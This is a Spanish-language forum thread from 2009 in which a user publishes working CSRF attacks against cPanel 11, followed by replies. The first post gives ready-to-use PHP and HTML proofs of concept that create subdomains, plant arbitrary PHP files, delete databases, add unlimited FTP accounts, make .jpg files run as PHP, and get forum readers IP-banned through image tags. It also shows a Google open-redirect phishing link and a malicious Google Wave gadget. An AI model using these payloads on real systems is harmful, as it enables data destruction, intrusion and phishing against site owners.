Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: WHK en 20 Noviembre 2009, 23:27 pm



Título: Especial Navidad 2009
Publicado por: WHK en 20 Noviembre 2009, 23:27 pm
Especial Navidad 2009
Bugs y Exploits a nivel WEB


Indice
  • Auditoría de seguridad a cPanel 11
  • vulnerabilidad universal en exploradores WEB
  • Vulnerabilidad - OpenRedirect en Google utilizado para ocultar urls de atacantes
  • Vulnerabilidad - XSS en GModules afecta a GoogleWave, OpenSocial (hi5, linkedin, myspace), Google HomePage, sites.google.com, wiki.elhacker.net, labs.elhacker.net, groups.google.com, y cualquier sitio web que utilize los servicios de google en el cual incorporen GModules.


(http://www.webcomparte.com/archivos_publicos/imagenes/bugpanel.png)

Descripción:
cPanel (acrónimo de control Panel) es una herramienta de administración WEB administrar sitios de manera fácil. Actualmente es un sistema de pago y de código cerrado vulnerable a que cualquiera pueda encontrar bugs sin si quiera poder revisar su código fuente para que puedan ser reparadas oportunamente.
cPanel es uno de los sistemas mas utilizados en servidores de pago compartidos y resellers.
http://cpanel.demo.cpanel.net/login/?user=x3demob&pass=x3demob

Al ver que era un sistema tan utilizado pero a la ves tan descuidado en su seguridad me propuse comenzar esta auditoría de seguridad hacia cPanel 11 llamada "BugPanel 11".

[Round 1] Creación arbitraria de subdominios
Si vamos a nuestro cpanel e intentamos crear un nuevo subdominio podemos ver dos detalles.
El primer detalle es que podemos transformar nuestras peticiones POST en GET asi que basta pasar las variables via GET para crear nuestro subdominio.

Vamos a nuestro cPanel a la sección:
http://ejemplo.com:2082/frontend/x3/subdomain/index.html

Ahora si creamos un subdominiop nos enviará hacia una página para verificar que realmente se creará el subdominio y al hacer click en aceptar veremos que se ha creado nuestro subdominio pero entre que le das aceptar y crear el dominio aparece un enlace como este:
http://ejemplo.com:2082/frontend/x3/subdomain/doadddomain.html?domain=subdominio&rootdomain=ejemplo.com&dir=public_html%2Fsubdominio&go=Create

Con este enlace ya podemos darnos cuenta del segundo detalle el cual es que no lleva token ni verificación de referencia (aunque no serviría tampoco) ni nada que pueda evitar un ataque del tipo CSRF.

Por lo tanto un atacante puede facilmente crear un enlace, imagen o lo que sea lo cual el administrador de ese panel pueda ser redireccionado hacia dicha vulnerabilidad y crear de forma arbitraria subdominios y directorios tal como este script de ejemplo:
Código
  1. <?php
  2. /* Host vulnerable */
  3. $dominio_vulnerable = 'ejemplo.com';
  4. $cpanel_vulnerable = 'http://ejemplo.com:2082/';
  5. $directorio_nuevo = 'cpwned';
  6. $subdominio_nuevo = 'cpwned';
  7. if($_SERVER['HTTP_REFERER']){
  8.  
  9.  'location: '.
  10.  $cpanel_vulnerable.
  11.  'frontend/x3/subdomain/doadddomain.html?domain='.
  12.  urlencode($subdominio_nuevo).
  13.  '&rootdomain='.
  14.  urlencode($dominio_vulnerable).
  15.  '&dir=public_html%2F'.
  16.  urlencode($directorio_nuevo).
  17.  '&go=Create'
  18. );
  19. }else{
  20. echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
  21. }
  22.  
  23. ?>

[Round 2] Creación arbitraria de archivos y código de ejecución arbitrario via PHP
Si vamos al administrador de archivos del cpanel encontraremos un hermoso filemanager en el cual nos permire observar todos los archivos del servidor, editar su contenido, borrarlos  o cambiarles sus permisos.
Cuando va mos a la edición de un archivo y lo guardamos podremos darnos cuenta de que no envía token ni nada por lo tanto nuevamente nos damos cuenta que el filemanager contiene CSRF en modo POST.

Con estos datos ya podemos crear nuestra prueba de concepto:
Código
  1. <?php
  2.  
  3. /* Datos del host vulnerable */
  4. $cpanel_vulnerable = 'http://ejemplo.com:2082/';
  5. $archivo = 'cpwned.php';
  6. $directorio = '/home/ejemplo/public_html/';
  7. $payload = '<'.'?php phpinfo(); ?>';
  8.  
  9. ?>
  10. <html>
  11. <body>
  12.  Muestra de ejemplo.
  13.  <form method="post" action="<?php echo $cpanel_vulnerable; ?>frontend/x3/filemanager/savefile.html">
  14.   <input type="hidden" name="doubledecode" value="1" />
  15.   <input type="hidden" name="ufile" value="<?php echo $archivo; ?>" />
  16.   <input type="hidden" name="file" value="<?php echo $archivo; ?>" />
  17.   <input type="hidden" name="udir" value="<?php echo urldecode($directorio); ?>" />
  18.   <input type="hidden" name="dir" value="<?php echo urlencode($directorio); ?>" />
  19.   <input type="hidden" name="__cpanel__temp__charset__" value="us-ascii" />
  20.   <input type="hidden" name="path" value="<?php echo urldecode($directorio).$archivo; ?>" />
  21.   <input type="hidden" name="charset" value="us-ascii" />
  22.   <input type="hidden" name="page" value="<?php echo urlencode($payload); ?>" />
  23.  </form>
  24.  <script>
  25.   document.getElementsByTagName('form')[0].submit();
  26.  </script>
  27. </body>
  28. </html>

[Round 3] Eliminación arbitraria de bases de datos completas
Cuando vamos al gestor de bases de datos de MySQL:
http://www.ejemplo.com:2082/frontend/x3/sql/index.html

Podemos observar que al intentar eliminar una base de datos nos envía hacia una página que nos pregunta si realmente queremos eliminar nuestra base de datos, la sorpresa llega cuando vemos que el botón de aceptar nos lleva a un enlace sin protección ni token ni nada:
http://www.ejemplo.com:2082/frontend/x3/sql/deldb.html?db=ejemplo_basededatos

Llevandonos a la eliminación inminetne e irrecuperable de nuestra base de datos a menos que tengamos alguna backup por ahi.

Con esto ya podemos crear una prueba de cocepto donde un administrador puede ser redirigido desde alguna imagen, página, o lo que sea ejecutando esta acción de forma arbitraria:

Código
  1. <?php
  2. /* Host vulnerable */
  3. $cpanel_vulnerable = 'http://ejemplo.com:2082/';
  4. $base_de_datos = 'empresa_productos';
  5.  
  6. if($_SERVER['HTTP_REFERER']){
  7.  'location: '.
  8.  $cpanel_vulnerable.
  9.  'frontend/x3/sql/deldb.html?db='.
  10.  urlencode($base_de_datos)
  11. );
  12. }else{
  13. echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
  14. }
  15.  
  16. ?>

[Round 4] Creación arbitraria de cuentas FTP sin restricciones
Si vamos al gestor de cuentas FTP e intentamos crear una nueva cuenta sin restricciones podemos ver que pasa lo siguiente desde nuestro cliente de navegación hasta el servidor:
Código:
POST /frontend/x3/ftp/doaddftp.html HTTP/1.1

Host: www.ejemplo.com:2082
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.ejemplo.com:2082/frontend/x3/ftp/accounts_pure-ftpd.html
Cookie: cookies
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F&quota=unlimited

Por lo tanto ya es evidente que no hay token y por lo tango podemos generar un CSRF pero si tomamos nuestras variables POST y las convertimos a GET vemos que funciona igual:
http://www.ejemplo.com:2082/frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F&quota=unlimited

Asi que con estos datos ya estamos listos para hacer la prueba de concepto:

Código
  1. <?php
  2. /* Host vulnerable */
  3. $cpanel_vulnerable = 'http://ejemplo.com:2082/';
  4.  
  5. if($_SERVER['HTTP_REFERER']){
  6.  
  7.  'location: '.
  8.  $cpanel_vulnerable.
  9.  'frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&'.
  10.  'password2=cpwned&homedir=public_html%2F&quota=unlimited'.
  11.  urlencode($base_de_datos)
  12. );
  13. }else{
  14. echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
  15. }
  16.  
  17. /* Se creará una cuenta ftp con el usuario cpwned y password cpwned ilimitada */
  18.  
  19. ?>

[Round 5] Modificación arbitraria de Mimetypes de Apache Server
Maaaaammmboo!! huuuh!!!
Cuando vamos a modificar un tipo de contenido desde el gestor de mimetypes de cPanel:
http://www.ejemplo.com:2082/frontend/x3/mime/mime.html

Podemos ver que cuando agregamos un tipo de extensión no nos solicita ningún tipo de protección para evitar acciones arbitrarias y ni si quiera pasa via POST sino que lo hace via GET directamente.

Cuando creamos una nueva extensión vemos algo como esto:
http://www.ejemplo.com:2082/frontend/x3/mime/addmime.html?mimet=application%2Fandrew-inset&ext=lol&submit=Add

Por lo tanto basta con que el administrador del cpanel vea este enlace para agregarle mimetypes a su servidor.
Que tal un mimetype de tipo ocet/stream a php para descargarlos en ves de ejecutarlos? o archivos jpg y zips que se ejecutan con el handle de php?

Prueba de concepto:

Código
  1. <?php
  2. /* Host vulnerable */
  3. $cpanel_vulnerable = 'http://ejemplo.com:2082/';
  4. $mimetype = 'application/x-httpd-php';
  5. $extension = 'jpg';
  6.  
  7. if($_SERVER['HTTP_REFERER']){
  8.  
  9.  'location: '.
  10.  $cpanel_vulnerable.
  11.  'frontend/x3/mime/addmime.html?mimet='.
  12.  urlencode($mimetype).
  13.  '&ext='.
  14.  urlencode($extension).
  15.  '&submit=Add'
  16. );
  17. }else{
  18. echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
  19. }
  20.  
  21. /* Ahora los archivos .jpg son ejecutables de php :D */
  22.  
  23. ?>

[Round 6] Baneo arbitrario de visitantes al host
Cuando intentas ingresar a tu cpanel desde la pagina principal:
http://www.ejemplo.com:2082/

Y fallas mas de 10 veces te banea :o y lo gracioso es que no te banea de cPanel sino de todo el servidor por lo tanto no puedes ingresar ni a la página que está alojada ni al ssh ni a ninguna parte a menos que cambies de ip.

Acá hay dos problemas, el rpimero es que la autentificación también se hace via WWW-Authenticate de apache o sea envío de headers.
cPanel procesa ete tipo de login pero no verifica los 10 intentos asi que podemos enviar peticiones GET a una imagen o a alguna sección sin protección enviando contraseña tras contraseña hasta lograr ingresar.

El otro problema es que el sistema de baneo aparentemente solo sirve para banear a tus visitas xD ya que el login del formulario se envía mediante una petición POST al servidor pero si la transformas a GET puedes hacer logueos arbitrarios debido a que no hay token ni nada referencial que impida un ataque CSRF, asi que la url de login quedaría masomenos así:
http://ejemplo.com:2082/login/?user=d&pass=d

Basta que alguien vea 10 veces ese enlace para quedar fuera de combate, asi que esto mismo se puede aprovechar por ejemplo para ponertelo de firma redireccionando la url como si fuera una imagen y de esa forma baneas a todos los que vean tus post en un foro.

Prueba de concepto para código bbc:
Código:
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]

Si usas tinyurl te ahorras carácteres y puedes ir mostrando de a 5 en 5 para banear cada dos visualizaciones o cada dos post tuyos que vean.

Actualmente hay muchos foros con cpanel al descubierto :p


Y bueno... en resumidas palabras todo cPanel contiene CSRF por lo tanto se puede ejecutar cualquier tipo de acción arbitraria siempre y cuando pertenezca al software nativo de cPanel, no así con softwares de terceros como phpmyadmin.
Además gracias a que cPanel es un software de código errado nadie puede hacer parches o soluciones asi que por lo tanto no hay solución mas que sentarse a mirar a las aves volar mientras tanto que medio internet es vulnerable y no todos los hosting se van a querer actualizar a menos que den con bombo y platillos el anuncio oficial desde cpanel diciendo que es vulnerable.

Recordar que para que estos tipos de ataques puedan ejecutarse el administrador debe estar logueado y visualizar tu archivo que lo redireccionará.

¿Que sucede si la conexión va via ssl? ¿lo detendrá la verificación de certificado?
No porque gracias a cPanel las instalaciones por defecto siempre se hacen en dos puertos que son el 2082 y 2083 el cual uno es sin y con ssl respectivamente asi que no sirve de nada el certificado de seguridad si eres atacado de esta forma, pero.... si estoy logueado en mi cpanel con ssl no debería cambiar mi cookie?
La respuesta es no ya que cPanel no fuerza una cookie segura al explorador por lo tanto tu cookie de cpanel la llevas a todas partes del servidor independiente si estas en el cpanel con o sin ssl o en tu foro o en tu blog, web, portal o lo que sea y con tu cookie llevas también tu sesión lista para ser robada, capturada o sniffeada.

Y ustedes dirán "Oh My God!!" debido a que deben ya haberse dado cuenta de un bug por defecto en los exploradores que ya voy a comentar a continuación.



Vulnerabilidad universal en exploradores WEB
(http://www.webcomparte.com/archivos_publicos/imagenes/navegadores.png)

Para poder comprobar antes de explicar lo que sucede voy a ingresar a mi gestor de bases de datos phpmyadmin:
http://127.0.0.1/phpmyadmin/
Ahora voy a mi administrador de servidor WebAdmin
http://127.0.0.1/:10000
Ahora me voy al foro:
http://127.0.0.1/smf/
Al blog
http://127.0.0.1/wordpress/

Ahora ejecuto en mi consola:
Código
  1. yan@Lola:~/Escritorio$ sudo nc -vlp 99
  2. [sudo] password for yan:
  3. listening on [any] 99 ...

Me hago una petición GET
http://127.0.0.1:99/

Y me encuentro con la sorpresa:
Código:
connect to [127.0.0.1] from localhost [127.0.0.1] 44829
GET / HTTP/1.1
Host: 127.0.0.1:99
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=xxxx; SMFCookie891=xxxx; cprelogin=no; cpsession=closed;
testing=1; sid=000000; wp-settings-time-1=0000; wp-settings-1=xxxxxx;
wordpress_test_cookie=WP+Cookie+check

Si nos damos cuenta me ha enviado la cookie de todos los siostemas webs que he visitado sin importar el puerto en que estaban.
Normalmente si un sistema WEB está en un puerto determinado debería conservar su privacidad de cookie y no compartirla con todos los demás sistemas alojados en los demas puertos.
En mi caso me puse a escucha en el puerto 99 y pude recibir todas las cookies pero... ¿que tan peligroso puede ser?

¿Que sucede cuando ingresamos al cPanel y luego vamos a nuestro foro o blog?
Lo que pasa es que la cookie del cPanel se va con nosotros :p y si la web o foro es vulnerable y alguien te ataca con XSS puede robar la cookie de tu cPanel y robar tu dominio o tu hosting completo, hacer redirecciones o transferir cuentas.

Lo que estamos haciendo es violar la privacidad de contenido del sistema WEB debido a que ningún explorador manipula las cookies discriminando puertos sino que solamente discrimina dominios , subdominios y rutas al tratarse del mismo servidor pero no puertos.



Vulnerabilidades en servicios de Google
(http://i.elhacker.net/i?i=vQXoCfPcu43yJyJwRGRqomVo)

[Round 1] OpenRedirect
Primero que nada vamos a ir directamente a la prueba de concepto:
http://www.google.com/url?q=http:///foro.elhacker.net/

Gracias a esta novedosa feature de google un atacante puede utilizar urls de google como servidor de redirección para ocultar referencias, ocultar enlaces dañinos y un sin fin de cosas.

El problema de esta vulnerabilidad está en que si ingresas una url normal de esta forma:
http://www.google.com/url?q=http://foro.elhacker.net/
entonces google te la rechaza pero si le das tres slashses google no la detecta como enlace válido y te valida la redirección.

(http://i.elhacker.net/i?i=kNx15QE-Ewgw8qjUsiFdzGVo)

Vamos a realizar una simulación de ataque hacia nuestro cpanel desde una url de google.

El atacante envía un enlace como mensaje de correo de google diciendo lo siguiente:
http://www.google.com/url?a=necesitamos_de_su_colaboracion_para_entrar_en_nuestro_comite&codigo_mensaje=&q=%68%74%74%70%3a%2f%2f%2f%77%77%77%2e%61%74%61%63%61%64%6f%2e%63%6f%6d%3a%32%30%38%32%2f%66%72%6f%6e%74%65%6e%64%2f%78%33%2f%73%71%6c%2f%64%65%6c%64%62%2e%68%74%6d%6c%3f%64%62%3d%65%6a%65%6d%70%6c%6f%5f%62%61%73%65%64%65%64%61%74%6f%73

Y el desprevenido administrador al darle click va a terminar borrando su base de datos de su sitio web  :P

También puede ser utilizado por spammers debido a que las urls de google no son filtradas desde sistemas anti-spam y la url puede encodearse en urlencode

[Round 3] XSS en GModules afecta a GoogleWave
Hace tiempo habia visto que había la posibilidad de ejecutar código arbitrario en los módulos de gmodules de google pero hasta ese momento no había ningún servicio que pudiera comprometer una cuenta.
Al ingresar a GoogleWave pude ver que tienes la posibilidad de insertar módulos de gmodule dentro de waves y puedes enviarlos a amigos o contactos asi que probé enviar un módulo que pudiera ejecutar código arbitrario y resultó.

¿Como funciona?
http://www.google.com/ig
Esta es la web personalizada de google en el cual aparecen varios frames con funciones ya sean buscadores de wikipedia o relojes, calculadoras, etc. La gracia es que puedes crear tus propios módulos y agregarlos de forma arbitraria con un CSRF que tiene gmodules pero eso es otro tema xD.

Para crear nuestro propio módulo debemos hacerlo en formato XML de la siguiente forma:
Código
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <Module>
  3. <ModulePrefs
  4.  title="__MSG_poctitle__"
  5.  directory_title="__MSG_pocdirtitle__"
  6.  title_url="http://foro.elhacker.net/"
  7.  author="WHK"
  8.  author_affiliation="ElHacker.NET"
  9.  author_location="Chile, CL"
  10.  author_email="www.kernel32@gmail.com"
  11.  screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  12.  thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  13.  scrolling="false">
  14. </ModulePrefs>
  15.  
  16. <Content type="html" view="canvas"><![CDATA[
  17.  <script>
  18.   alert('Ejecucion de codigo');
  19.  </script>
  20. ]]></Content>
  21. </Module>

Con esto ya tenemos un módulo, ahora lo subo a un servidor propio (en mi caso utilizo un servidor local) y quedaría así:
http://miip/gadget.xml

Con esto ya tengo mi módulo listo, ahora entro a GoogleWave y hago un nuevo Wave:
(http://www.webcomparte.com/archivos_publicos/imagenes/bugs/gadget_gwave.png)

Tal como se muestra en la imagen primero escribo lo que sea, luego lo selecciono y presiono los tres puntos que están al costado derecho y le doy en insertar módulo y le doy la url de mi gadget.

Ahora todo el que vea ese wave se le ejecutará mi código arbitrario pero como se encuentra dentro de un iframe no podemos tener acceso a la cookie pero si a algunos tokens y tienes la posibilidad de hacer redirecciones, mover la ventana y lo que se te ocurra.

(http://www.webcomparte.com/archivos_publicos/imagenes/bugs/gadget_gwave2.png)

Un ejemplo práctico es este módulo:
Código
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <Module>
  3. <ModulePrefs
  4.  title="__MSG_poctitle__"
  5.  directory_title="__MSG_pocdirtitle__"
  6.  title_url="http://foro.elhacker.net/"
  7.  author="WHK"
  8.  author_affiliation="ElHacker.NET"
  9.  author_location="Chile, CL"
  10.  author_email="www.kernel32@gmail.com"
  11.  screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  12.  thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  13.  scrolling="false">
  14. </ModulePrefs>
  15.  
  16. <Content type="html" view="canvas"><![CDATA[
  17.  <script>
  18.   top.location.href = 'http://foro.elhacker.net/';
  19.  </script>
  20. ]]></Content>
  21.  
  22. </Module>

Con esto un atacante podría redireccionar a una victima hacia un phishing o web fraudulenta y solicitar datos como el acceso de su cuenta.

También hay una referencia similar que acabo de ver xD que habla sobre este mismo tema sobre GModules:
http://ha.ckers.org/blog/20070817/xss-hole-in-google-apps-is-expected-behavior/

Y acá un poco de documentación al respecto de este tipo de ataques:
http://www.google.com/search?q=tactical+exploitation

Actualmente Google concuerda que esto es una feature o sea algo que debe estar así y así lo dicta también el standard de protección el cual permite este tipo de redireccionamientos.
También se puede aplicar este tipo de ataque a cualquier sitio WEB que utilize algún servicio de google que permita GModules o que por lo menos permita frames con código modificable por terceros en los cuales se permita código ejecutable por el cliente.

Los xss y el robo de cookies son un standard hoy en dia y están dentro del saco de las features de la internerd.


Título: Re: Especial Navidad 2009 (en construcción)
Publicado por: Red Mx en 22 Noviembre 2009, 18:20 pm
Que te puedo decir, WHK eres el hijo incomodo de los CMS  :P.

Aun que por ejemplo no faltan los locos como yo siempre cerramos la sesion de Cpanel o que siempre eliminamos todas las cookies del navegador cada que este se cierra, pues el peligro es latente aveces entro a ver contenido con la pagina de Cpanel aberta por un lado.

Red Mx  revisa mi pagina por fa y me manden a eliminar mi DB que chinga te acomodan. (tengo mi back up semanal) pero que chinga te acomodan.

Otra cuestion seria ver ahora que tan vulnerable es WHM ahi se le rompen la madre a mas de 1 cabron.

Personalmente tomare algunas medidas de seguridad.

Y creo que es informacion muy muy delicada ya que si es publico muchos cabrones se la pasaran jodiendo a otros y diestra y siniestra.

Edito:

Felicidades WHK.


Título: Re: Especial Navidad 2009 (en construcción)
Publicado por: WHK en 22 Noviembre 2009, 19:41 pm
Gracias, de todas formas si se hará público pero para diciembre :P
Imagina a alguien que con tan solo poner una imagen como firma en el foro puede causar la creación de usuarios ftp en el servidor o la inserción de mimetypes y hacer ejecutable tu avatar de jpg pero por otro lado como dijiste la gran y fácil solución es lo que hace un buén administrador, desloguearse de su panel de administración cada ves que termina de utilizarse y nunca comenzar a visitar otras páginas mientras se está administrando o por lo menos no con el mismo explorador o sesión.

aunque de todas formas siempre hay gente que deja logueada la cuenta y no se dan cuenta y ahi está en juego la seguridad del cpanel ya que por defecto no trae ningún tipo de seguridad ante este tipo de ataques. Solo una ves repararon un bug de CSRF haciendo una pagina que verifica si realmente quieres hacer una acción pero si le das aceptar la ejecución de la acción se ejecuta igual por lo tanto no se previno el CSRF.

Hay otros sistemas disfrasados de cpanel pero con otro skin y otro nombre como por ejemplo el famoso e incomodo dpanel utilizado en muchos hostings de chile.
Sigue siendo igual de inseguro pero mas incómodo  :xD

El WHM no lo he revisado pero si lo hacen los mismos codeadores de cpanel debe tener practicamente los mismos bugs.

Y lo mejor o peor de todo es que como es un software de código cerrado no puedes hacer ningún tipo de edición en el código para poder solucionar el problema antes de que cpanel le den las ganas de reparar los bugs y si es que los reparan todos.

Yo en mi reseller tengo WHM instalado asi que le daré un vistazo con bastante delicadeza xD


Título: Re: Especial Navidad 2009 (en construcción)
Publicado por: Artikbot en 22 Noviembre 2009, 20:03 pm
Hablando de dejar la cuenta logueada... Mi cuenta suele estar 14h online diarias x.x


Título: Re: Especial Navidad 2009 (en construcción)
Publicado por: kamsky en 22 Noviembre 2009, 23:03 pm
muy bueno WHK  :rolleyes: ::)


Título: Re: Especial Navidad 2009
Publicado por: WHK en 3 Diciembre 2009, 07:31 am
Bueno, conversando sobre el tema del SOP y las cookies, realmente quería discutir un poco el tema debido a la incompatibilidad del standard de las cookies y el sistema de protección del navegador ya que el mismo standard dice que se pueden establecer cookies a otros sitios webs cosa que está mas que prevenido y la posibilidad de obtener las cookies de un subdominio la cual no tienes acceso como por ejemplo las cookies de wordpress.com y blogger las para mi no deberían tenerse acceso si el administrador del sitio configuró el sistema web para que las cookies se establecieran unicamente para ese subdominio.

Esto lo quería tocar porque pasa muy similar al tema de los puertos y aunque puedes establecer la ruta de la cookie esta no es respetada para su obtención y según el RFC esto es así y para mi no debería suceder, no puede ser que si tengo un xss en un foro alguien pueda venir y tomar la cookie de mi cpanel.


Título: Re: Especial Navidad 2009
Publicado por: WHK en 3 Diciembre 2009, 07:55 am
Este post quedará con chincheta solamente hasta que termine diciembre.

Enjoy!
(http://www.ahiva.info/Colorear/Circo/Presentadores/Presentador-01.gif)


Título: Re: Especial Navidad 2009
Publicado por: IWKY en 3 Diciembre 2009, 13:53 pm
Maravilloso, felicidades WHK, creo que alguien debería de pagarte un buen sueldo por lo que haces, aunque sea desinteresadamente te lo mereces.


Título: Re: Especial Navidad 2009
Publicado por: rockernault en 3 Diciembre 2009, 14:16 pm
Citar
Actualmente es un sistema de pago y de código cerrado vulnerable a que cualquiera pueda encontrar bugs sin si quiera poder revisar su código fuente para que puedan ser reparadas oportunamente.
cPanel es uno de los sistemas mas utilizados en servidores de pago compartidos y resellers.

no te pegaron los de Cpanel??
 :silbar:

Saludos y gracias por postear esto,  algunos, incluyendome, somos admins medio desprevenidos...

Feliz Navidad


Título: Re: Especial Navidad 2009
Publicado por: sirdarckcat en 3 Diciembre 2009, 17:28 pm
el mejor lugar para esconder un tema es en las chinchetas xDDD


Título: Re: Especial Navidad 2009
Publicado por: WHK en 3 Diciembre 2009, 19:11 pm
Tienes razón, mejor lo deschincheto xD

Citar
creo que alguien debería de pagarte un buen sueldo por lo que haces
Para eso elbrujo me deposita todo los meses a mi cuenta bancaria al igual que todos los moderadores globales y coadmins (claro que los coadmin ganan mas).


Título: Re: Especial Navidad 2009
Publicado por: Blitzkrieg' en 3 Diciembre 2009, 19:47 pm
Nice, estos proyectos así le hacen bien a la comunidad.


Título: Re: Especial Navidad 2009
Publicado por: Karcrack en 3 Diciembre 2009, 22:46 pm
Gran trabajo WHK! ;-)

Va a tocarme navegar con NetCat :laugh: :laugh:


Título: Re: Especial Navidad 2009
Publicado por: JDK en 4 Diciembre 2009, 15:58 pm
Chinchetazo bien merecido ;)

Se agradece.


Título: Re: Especial Navidad 2009
Publicado por: anarquistadel89 en 4 Diciembre 2009, 16:14 pm
Chinchetazo bien merecido ;)

Se agradece.

+1

Gracias por el aporte  ;-)


Título: Re: Especial Navidad 2009
Publicado por: nØFi# en 4 Diciembre 2009, 19:11 pm
Muy buen trabajo WHK ;-)

por cierto, falta el round2 de vulnerabilidades google no?  ;D


Título: Re: Especial Navidad 2009
Publicado por: r4ndyl31g1 en 4 Diciembre 2009, 21:06 pm
Referente a la vulnerabilidad en exploradores, la verdad no he entendido muy bien cuál es el bug...

Si accedes a distintos sites de tu localhost (127.0.0.1) es normal que si haces después una petición vía GET/POST a esta misma dirección (empleando netcat etc etc), se envían las cookies asociadas a ese dominio, es decir, las cookies se asocian por dominios/subdominios y no por puertos. Sin embargo, si haces una petición a por ej. 192.168.0.25, entonces esas cookies no se envían (por ser otro dominio)...
 
Entonces cuál es el problema? O este tema también se refiere al CPanel?

Si sólo afecta a CPanel, porque se llama vulnerabilidad universal en exploradores Web, cuando es una vulnerabilidad universal en exploradores Web afectando a CPanel.

Simplemente digo esto como aclaración porque el título de esta segunda sección me ha parecido confusa  :rolleyes:

Salu2


Título: Re: Especial Navidad 2009
Publicado por: YST en 4 Diciembre 2009, 21:29 pm
El error ( mas que nada un descuido ) es de los navegadores ya que si consigo tu coockie de un puerto pues te puedo robar la coockie de todos los puertos y si existe cpanel en la coockie te jodo enterito :xD


Título: Re: Especial Navidad 2009
Publicado por: sirdarckcat en 5 Diciembre 2009, 06:36 am
no es una vulnerabilidad.. es una feature.. se ha discutido varias veces.. pero pues.. whk opina que como puedes robar cookies en servers compartidos (como dreamhost).. y no hay manera facil de evitarla.. es una vuln..

yo pienso que no.. pero bueno.. jaja

saludos!


Título: Re: Especial Navidad 2009
Publicado por: YST en 5 Diciembre 2009, 07:29 am
no es una vulnerabilidad.. es una feature.. se ha discutido varias veces.. pero pues.. whk opina que como puedes robar cookies en servers compartidos (como dreamhost).. y no hay manera facil de evitarla.. es una vuln..

yo pienso que no.. pero bueno.. jaja

saludos!
Deberian ponerlo en las opciones del navegador


Título: Re: Especial Navidad 2009
Publicado por: WHK en 5 Diciembre 2009, 07:43 am
no es una vulnerabilidad.. es una feature.. se ha discutido varias veces.. pero pues.. whk opina que como puedes robar cookies en servers compartidos (como dreamhost).. y no hay manera facil de evitarla.. es una vuln..

yo pienso que no.. pero bueno.. jaja

saludos!
Deberian ponerlo en las opciones del navegador

Pero no está esa opción ni hay forma de prevenirlo sin que modifiques el código fuente del explorador o hagas un complemento que modifique la request de las peticiones.

Imagina que normalmente el RFC dice que yo desde geocities puedo establecerte una cookie para google y eso es una feature pero como decian por ahi, era tan peligroso y molesto que alguien pudiera resetear tus cookies o declarar cookies para ataques de tipo xss como pasó en el foro de defcon que bueno, se parchó y se hizo un sistema de prevención pero según todos esto no era una vulnerabilidad sino una feature.

Actualmente si yo tengo un blog en test.blogger.com tengo acceso a leer las cookies de alguien.blogspot.com aunque las cookies se hayan declarado en funcionamiento único para ese subdominio pero aun así pueden utilizarse para otros subdominios y eso no debería ser así pero es así y es una feature pero para mi es vulnerar mi blog porque mi vecino puede tener mis cookies de acceso a un wordpress o lo de esos famosos foros que te los dan con un subdominio x.

Por lo menos un subdominio puedes declararlo en la ruta de la cookie aunque no sirve de mucho pero en ningún lado puedes declarar que una cookie funcione unicamente en un puerto determinado o decir que solo sea visible en el puerto 80.
Si yo tengo un webadmin en el puerto 10000 y luego voy a mi foro y me encuentro con un lindo xss entonces el atacante va a tener no solo la cookie de acceso del foro sino del webadmin y tira por la borda toda la seguridad de ese sistema web porque están compartiendo el mismo sitio donde se aloja la cookie y para mi eso no debe suceder pero sucede y es para todos una feature.

Yo le decia a sdc.. ahora una feature que te permite robar sesiones no es una vulnerabilidad y bueno, entre conversa y conversa me dió a conocer sobre lo del tactical explotation donde justamente un atacante aprobecha problemas de diseño como este que no son considerado vulnerabilidades pero sirven para ataques tal como por ejemplo el (para mi) xss de google donde con un módulo puedes tener acceso al top.location y puedes hacer muchas cosas como por ejemplo invocar sitios fraudulentos y ejercer el phishing pero es una feature xD aunque para mi el SOP debería prevenir la modificación del top.location del DOM así como lo hace para su lectura pero no lo hace y es una feature que a muchos les puede costar la integridad de sus datos personales.

